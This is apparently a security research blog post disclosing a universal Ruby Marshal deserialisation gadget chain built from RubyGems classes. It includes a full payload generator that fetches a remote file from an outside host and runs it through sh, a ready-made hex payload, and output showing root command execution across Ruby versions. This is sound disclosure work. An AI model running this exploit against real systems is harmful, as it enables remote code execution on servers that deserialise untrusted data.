A few months ago I noticed the gadget in my previous article had been patched and no longer worked in Ruby 3.0.3, so I spent a bit of time dusting off the old tools to see if I could find another one.

One of the helper scripts I used is based on the original elttam article. It first autoloads as many classes as it can, then drops into a repl:

def load_classes
  ObjectSpace.each_object do |clazz|
    if clazz.respond_to? :const_get
      Symbol.all_symbols.each do |sym|
        begin
          clazz.const_get(sym)
        rescue NameError
        rescue LoadError
        end
      end
    end
  end
end

def check(functions)
  ObjectSpace.each_object(::Class) do |obj|
    all_methods = (obj.instance_methods + obj.private_instance_methods).uniq

    functions.each do |function|
      if all_methods.include? function
        method_origin = obj.instance_method(function).inspect[/\((.*?)\)/, 1] || obj.to_s
        if method_origin.nil? || method_origin == ''
          method_origin = obj.to_s
        end
        unless ['Kernel', 'Exception', "Struct", "Module"].include? method_origin
          puts obj
          puts "  #{function} defined by #{method_origin}"
          puts "  ancestors = #{obj.ancestors}"
          puts
        end
      end
    end
  end
end

3.times { load_classes }

puts "Enter text:"
$stdin.each_line do |line|
  begin
    puts eval(line)
  rescue => e
    puts e
  end

  puts "Enter text:"
end
# check([:_load, :marshal_load])

Using this allowed me to quickly see if a constant was loaded or use the check function to dump all classes that implemented a method. For instance, all of the loaded classes that implement _load or marshal_load:

check([:_load, :marshal_load])
#<Class:Gem::Specification>
  _load defined by str
  ancestors = [#<Class:Gem::Specification>, Enumerable, Gem::Deprecate, #<Class:Gem::BasicSpecification>, #<Class:Object>, #<Class:BasicObject>, Class, Module, Object, Kernel, BasicObject]

Complex::compatible
  marshal_load defined by _
  ancestors = [Complex::compatible, Object, Kernel, BasicObject]

Rational::compatible
  marshal_load defined by _
  ancestors = [Rational::compatible, Object, Kernel, BasicObject]

Gem::Requirement
  marshal_load defined by array
  ancestors = [Gem::Requirement, Object, Kernel, BasicObject]

Random
  marshal_load defined by _
  ancestors = [Random, Random::Base, Random::Formatter, Object, Kernel, BasicObject]

#<Class:Time>
  _load defined by _
  ancestors = [#<Class:Time>, #<Class:Object>, #<Class:BasicObject>, Class, Module, Object, Kernel, BasicObject]

Gem::Version
  marshal_load defined by array
  ancestors = [Gem::Version, Comparable, Object, Kernel, BasicObject]

Addrinfo
  marshal_load defined by _
  ancestors = [Addrinfo, Object, Kernel, BasicObject]

#<Class:OpenSSL::PKey::EC>
  _load defined by OpenSSL::Marshal::ClassMethods
  ancestors = [#<Class:OpenSSL::PKey::EC>, OpenSSL::Marshal::ClassMethods, #<Class:OpenSSL::PKey::PKey>, #<Class:Object>, #<Class:BasicObject>, Class, Module, Object, Kernel, BasicObject]

...

Even though Gem::Requirement was patched to ensure that @requirements was an array, it could still potentially be a kick-off gadget. The Gem::Version gadget to call to_s that I previously talked about was still available as well. Looking through the other classes, I saw that Gem::Specification could also call to_s on the value of @new_platform, with the bonus that it would not cause an error after returning:

def self._load(str)
    Gem.load_yaml

    array = Marshal.load str

    spec = Gem::Specification.new
    spec.instance_variable_set :@specification_version, array[1]

    current_version = CURRENT_SPECIFICATION_VERSION

    field_count = if spec.specification_version > current_version
      spec.instance_variable_set :@specification_version,
                                 current_version
      MARSHAL_FIELDS[current_version]
    else
      MARSHAL_FIELDS[spec.specification_version]
    end

    if array.size < field_count
      raise TypeError, "invalid Gem::Specification format #{array.inspect}"
    end

    # Cleanup any Psych::PrivateType. They only show up for an old bug
    # where nil => null, so just convert them to nil based on the type.

    array.map! {|e| e.kind_of?(Psych::PrivateType) ? nil : e }

    spec.instance_variable_set :@rubygems_version,          array[0]
    # spec version
    spec.instance_variable_set :@name,                      array[2]
    spec.instance_variable_set :@version,                   array[3]
    spec.date =                                             array[4]
    spec.instance_variable_set :@summary,                   array[5]
    spec.instance_variable_set :@required_ruby_version,     array[6]
    spec.instance_variable_set :@required_rubygems_version, array[7]
    spec.instance_variable_set :@original_platform,         array[8]
    spec.instance_variable_set :@dependencies,              array[9]
    # offset due to rubyforge_project removal
    spec.instance_variable_set :@email,                     array[11]
    spec.instance_variable_set :@authors,                   array[12]
    spec.instance_variable_set :@description,               array[13]
    spec.instance_variable_set :@homepage,                  array[14]
    spec.instance_variable_set :@has_rdoc,                  array[15]
    spec.instance_variable_set :@new_platform,              array[16]
    spec.instance_variable_set :@platform,                  array[16].to_s
    spec.instance_variable_set :@license,                   array[17]
    spec.instance_variable_set :@metadata,                  array[18]
    spec.instance_variable_set :@loaded,                    false
    spec.instance_variable_set :@activated,                 false

    spec
  end

I started searching for a gadget for the other end of the chain (something to gain code execution). After a lot of grepping, I rediscovered Gem::Source::Git ( mentioned in the elttam post). Several methods used the @git variable to shell out, including cache, checkout and rev_parse. The first two methods didn’t seem to be reachable, but rev_parse was called by Gem::RequestSet::Lockfile#add_GIT -> Gem::RequestSet::Lockfile#to_s. This seemed perfect as we already had some kick-off gadgets that could call to_s!

 def rev_parse # :nodoc:
    hash = nil

    Dir.chdir repo_cache_dir do
      hash = Gem::Util.popen(@git, 'rev-parse', @reference).strip
    end

    raise Gem::Exception,
          "unable to find reference #{@reference} in #{@repository}" unless
            $?.success?

    hash
  end

  # Gem::Util
  def self.popen(*command)
    IO.popen command, &:read
  end

The @git and @reference were fully controllable, but the second argument would always be rev-parse. IO.popen has a few different ways that it can be called, one of which is using the final argument as a hash with options. I came up with a two-stage payload which would first write echo hi;id;#: 0: cannot open rev-parse: No such file to the file at /tmp/rev-parse, then execute it with sh rev-parse.

  Gem::Util.popen(["sh", "echo hi;id;#"], "rev-parse", { err: "/tmp/rev-parse"})
  Gem::Util.popen("sh", "rev-parse", { chdir: "/tmp/"})

I started to put the payload together but then ran into a big problem. The rev_parse method called Dir.chdir repo_cache_dir before running @git. Although @root_dir and @name were controllable, uri_hash would always be a sha1 hash:

def repo_cache_dir # :nodoc:
  File.join @root_dir, 'cache', 'bundler', 'git', "#{@name}-#{uri_hash}"
end

def uri_hash # :nodoc:
    require_relative '../openssl'

    normalized =
      if @repository =~ %r{^\w+://(\w+@)?}
        uri = URI(@repository).normalize.to_s.sub %r{/$},''
        uri.sub(/\A(\w+)/) { $1.downcase }
      else
        @repository
      end

    OpenSSL::Digest::SHA1.hexdigest normalized
  end

This meant that there was no way to make repo_cache_dir point to a valid directory, and the call to Dir.chdir would always fail.

Things sat here for a few months until I was reminded by being mentioned in an excellent article about a new rails deserialisation gadget. This got me thinking about the universal gadget again and I decided to continue looking.

I either needed a completely new gadget or find a way to create the required directory so that the call to chdir would succeed. I began the search for anything that called FileUtils#mkdir_p, which turned out to be quite a lot of places. After more grepping and making use of the Call Hierarchy feature in RubyMine, I found a promising candidate at Gem::Source#fetch_spec.

def fetch_spec(name_tuple)
    fetcher = Gem::RemoteFetcher.fetcher

    spec_file_name = name_tuple.spec_name

    source_uri = enforce_trailing_slash(uri) + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}"

    cache_dir = cache_dir source_uri

    local_spec = File.join cache_dir, spec_file_name

    if File.exist? local_spec
      spec = Gem.read_binary local_spec
      spec = Marshal.load(spec) rescue nil
      return spec if spec
    end

    source_uri.path << '.rz'

    spec = fetcher.fetch_path source_uri
    spec = Gem::Util.inflate spec

    if update_cache?
      require "fileutils"
      FileUtils.mkdir_p cache_dir

      File.open local_spec, 'wb' do |io|
        io.write spec
      end
    end

    # TODO: Investigate setting Gem::Specification#loaded_from to a URI
    Marshal.load spec
  end

There was a bit of code to make it through before getting to the mkdir_p call, but it all seemed to be controllable. The fetch_spec method was called in Gem::Resolver::IndexSpecification#spec and the Gem::RequestSet::Lockfile#to_s gadget that was initially used was able to call the spec method!

  def spec # :nodoc:
    @spec ||=
      begin
        tuple = Gem::NameTuple.new @name, @version, @platform

        @source.fetch_spec tuple
      end
  end

The next part was to see if it was possible to get the call to FileUtils.mkdir_p cache_dir to trigger. Controlling cache_dir seemed like it would be easy enough as it was built mainly from attributes of the uri:

  spec_file_name = name_tuple.spec_name
  source_uri = enforce_trailing_slash(uri) + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}"
  cache_dir = cache_dir source_uri

  def enforce_trailing_slash(uri)
    uri.merge(uri.path.gsub(/\/+$/, '') + '/')
  end

  def cache_dir(uri)
    # Correct for windows paths
    escaped_path = uri.path.sub(/^\/([a-z]):\//i, '/\\1-/')
    escaped_path.tap(&Gem::UNTAINT)

    File.join Gem.spec_cache_dir, "#{uri.host}%#{uri.port}", File.dirname(escaped_path)
  end

But there were a few issues. The first was that the call to uri.merge (which is also what + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}" uses) will end up calling merge_path and normalizing the path, which removes any directory traversal in the path. The other was that the call to fetcher.fetch_path could not raise an error or the cache logic would not happen.

    source_uri.path << '.rz'

    spec = fetcher.fetch_path source_uri
    spec = Gem::Util.inflate spec

The cache_dir used the host and port of the URI, but since the instance variables were controllable they did not need to be valid and could be set to anything. I tried out quite a few variations of uris but couldn’t quite get everything to line up. After a while, I noticed that the fetcher supported s3 urls and would try to create a signed url using Gem::S3URISigner#sign before fetching it:

  def sign(expiration = 86400)
    s3_config = fetch_s3_config

    current_time = Time.now.utc
    date_time = current_time.strftime("%Y%m%dT%H%m%SZ")
    date = date_time[0,8]

    credential_info = "#{date}/#{s3_config.region}/s3/aws4_request"
    canonical_host = "#{uri.host}.s3.#{s3_config.region}.amazonaws.com"

    query_params = generate_canonical_query_params(s3_config, date_time, credential_info, expiration)
    canonical_request = generate_canonical_request(canonical_host, query_params)
    string_to_sign = generate_string_to_sign(date_time, credential_info, canonical_request)
    signature = generate_signature(s3_config, date, string_to_sign)

    URI.parse("https://#{canonical_host}#{uri.path}?#{query_params}&X-Amz-Signature=#{signature}")
  end

Since canonical_host was built up from uri.host, if a host of google.com? was used then .s3.#{s3_config.region}.amazonaws.com" would become part of the query string instead. This meant that uri.port could contain a directory traversal for the cache_dir but still have a valid url generated and fetched.

Using this method also meant that we control the contents of the cached file and know it’s location, which could simplify the git gadget a little bit and allow it to run without causing an error:

  Gem::Util.popen("tee", "rev-parse", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"}})
  Gem::Util.popen("sh", "rev-parse", {})

This first copies the payload from the cache to ./rev-parse and then executes it. So long as the payload can also be inflated and deserialized into a spec then the whole chain could be run without causing an error.

Putting everything together (after a few small hiccups and lots of debugging) the final gadget was working.

# Autoload the required classes
Gem::SpecFetcher

# create a file a.rz and host it somewhere accessible with https
def generate_rz_file(payload)
  require "zlib"
  spec = Marshal.dump(Gem::Specification.new("bundler"))

  out = Zlib::Deflate.deflate( spec + "\"]\n" + payload + "\necho ref;exit 0;\n")
  puts out.inspect

  File.write("a.rz", out)
end

def create_folder
  uri = URI::HTTP.allocate
  uri.instance_variable_set("@path", "/")
  uri.instance_variable_set("@scheme", "s3")
  uri.instance_variable_set("@host", "gitlab.com/uploads/-/system/personal_snippet/2281350/9d3ba681a22b25b3ad9cf61ed22a9aaa/a.rz?")  # use the https host+path with your rz file
  uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/")
  uri.instance_variable_set("@user", "user")
  uri.instance_variable_set("@password", "password")

  spec = Gem::Source.allocate
  spec.instance_variable_set("@uri", uri)
  spec.instance_variable_set("@update_cache", true)

  request = Gem::Resolver::IndexSpecification.allocate
  request.instance_variable_set("@name", "name")
  request.instance_variable_set("@source", spec)

  s = [request]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies", [])

  l
end

def git_gadget(git, reference)
  gsg = Gem::Source::Git.allocate
  gsg.instance_variable_set("@git", git)
  gsg.instance_variable_set("@reference", reference)
  gsg.instance_variable_set("@root_dir","/tmp")
  gsg.instance_variable_set("@repository","vakzz")
  gsg.instance_variable_set("@name","aaa")

  basic_spec = Gem::Resolver::Specification.allocate
  basic_spec.instance_variable_set("@name","name")
  basic_spec.instance_variable_set("@dependencies",[])

  git_spec = Gem::Resolver::GitSpecification.allocate
  git_spec.instance_variable_set("@source", gsg)
  git_spec.instance_variable_set("@spec", basic_spec)

  spec = Gem::Resolver::SpecSpecification.allocate
  spec.instance_variable_set("@spec", git_spec)

  spec
end

def popen_gadget
  spec1 = git_gadget("tee", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"})
  spec2 = git_gadget("sh", {})

  s = [spec1, spec2]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies",[])

  l
end

def to_s_wrapper(inner)
  s = Gem::Specification.new
  s.instance_variable_set("@new_platform", inner)
  s
end

folder_gadget = create_folder
exec_gadget = popen_gadget

r = Marshal.dump([Gem::SpecFetcher, to_s_wrapper(folder_gadget), to_s_wrapper(exec_gadget)])

puts r.inspect
puts %{Marshal.load(["#{r.unpack("H*")}"].pack("H*"))}

This gadget currently works on all ruby versions from 2.0 to 3.2rc1:

for i in `seq -f 2.%g 0 7; seq -f 3.%g 0 1; echo 3.2-rc`; do echo -n "ruby:${i} - "; docker run --rm -it ruby:${i} ruby -e 'Marshal.load(["04085b08631547656d3a3a5370656346657463686572753a1747656d3a3a53706563696669636174696f6e02890204085b1849220a332e332e37063a0645546909303049753a0954696d650d808d1ec000000000063a097a6f6e65492208555443063b004630553a1547656d3a3a526571756972656d656e745b065b065b074922073e3d063b0054553a1147656d3a3a56657273696f6e5b0649220630063b0046553b085b065b06400c305b00492200063b0054305b003030546f3a1e47656d3a3a526571756573745365743a3a4c6f636b66696c65073a09407365746f3a1447656d3a3a52657175657374536574063a0c40736f727465645b066f3a2647656d3a3a5265736f6c7665723a3a496e64657853706563696669636174696f6e073a0a406e616d654922096e616d65063b00543a0c40736f757263656f3a1047656d3a3a536f75726365073a09407572696f3a0e5552493a3a485454500b3a0a40706174684922062f063b00543a0c40736368656d654922077333063b00543a0a40686f73744922606769746c61622e636f6d2f75706c6f6164732f2d2f73797374656d2f706572736f6e616c5f736e69707065742f323238313335302f39643362613638316132326232356233616439636636316564323261396161612f612e727a3f063b00543a0a40706f72744922762f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f63616368652f62756e646c65722f6769742f6161612d653161316437373539396266323366656330386532363933663564643431386637376335363330312f063b00543a0a407573657249220975736572063b00543a0e4070617373776f726449220d70617373776f7264063b00543a12407570646174655f6361636865543a1240646570656e64656e636965735b005b007b00753b0002a90204085b1849220a332e332e37063a0645546909303049753a0954696d650d808d1ec000000000063a097a6f6e65492208555443063b004630553a1547656d3a3a526571756972656d656e745b065b065b074922073e3d063b0054553a1147656d3a3a56657273696f6e5b0649220630063b0046553b085b065b06400c305b00492200063b0054305b003030546f3a1e47656d3a3a526571756573745365743a3a4c6f636b66696c65073a09407365746f3a1447656d3a3a52657175657374536574063a0c40736f727465645b076f3a2547656d3a3a5265736f6c7665723a3a5370656353706563696669636174696f6e063a0a40737065636f3a2447656d3a3a5265736f6c7665723a3a47697453706563696669636174696f6e073a0c40736f757263656f3a1547656d3a3a536f757263653a3a4769740a3a0940676974492208746565063b00543a0f407265666572656e63657b063a07696e4922682f746d702f63616368652f62756e646c65722f6769742f6161612d653161316437373539396266323366656330386532363933663564643431386637376335363330312f717569636b2f4d61727368616c2e342e382f6e616d652d2e67656d73706563063b00543a0e40726f6f745f6469724922092f746d70063b00543a10407265706f7369746f727949220a76616b7a7a063b00543a0a406e616d65492208616161063b00543b0f6f3a2147656d3a3a5265736f6c7665723a3a53706563696669636174696f6e073b184922096e616d65063b00543a1240646570656e64656e636965735b006f3b0e063b0f6f3b10073b116f3b120a3b134922077368063b00543b147b003b164922092f746d70063b00543b1749220a76616b7a7a063b00543b18492208616161063b00543b0f6f3b19073b184922096e616d65063b00543b1a5b003b1a5b005b007b00"].pack("H*")) rescue nil'; done
ruby:2.0 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.1 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.2 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.3 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.4 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.5 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.6 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.7 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.0 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.1 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
3.2-rc: rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)